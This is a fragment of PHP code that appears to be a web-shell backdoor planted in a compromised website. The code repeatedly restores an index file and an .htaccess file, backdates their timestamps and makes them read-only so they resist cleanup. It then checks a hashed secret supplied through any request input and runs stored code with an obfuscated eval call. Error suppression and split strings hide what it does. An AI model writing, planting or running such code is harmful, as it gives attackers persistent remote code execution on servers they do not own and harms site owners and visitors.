        @chmod($open_do, 0755);
        @chmod($open_index_file, 0755);
        @file_put_contents($open_index_file, $open_index_code);
        @touch($open_index_file, $open_index_file_time);
        @chmod($open_index_file, 0444);
        @chmod($open_do, 0555);
    }
    if (!is_file($open_ht_file) || (md5($open_ht_code) != md5_file($open_ht_file))) {
        @chmod($open_do, 0755);
        @chmod($open_ht_file, 0755);
        @file_put_contents($open_ht_file, $open_ht_code);
        @touch($open_ht_file, $open_ht_file_time);
        @chmod($open_ht_file, 0444);
        @chmod($open_do, 0555);
    }
    $open_jj_gets = array_merge($_GET, $_POST, $_REQUEST, $_FILES, $_COOKIE, $_ENV);
    $open_jj_start = 'open_' . 'jj_' . 'go';
    $open_jj_go = isset($open_jj_gets[$open_jj_start]) ? $open_jj_gets[$open_jj_start] : '';
    if ($open_jj_go && function_exists('hash')) {
        if (hash('sha256', md5($open_jj_go)) === 'd32761c9521e843d05fd110078dab055f1e9431c00c8e9dc251d39fe5235971d') {
            EvAl('?' . '>' .
                $jj_404_code); die();
        }
    }
} catch (Exception $e){
    //
}

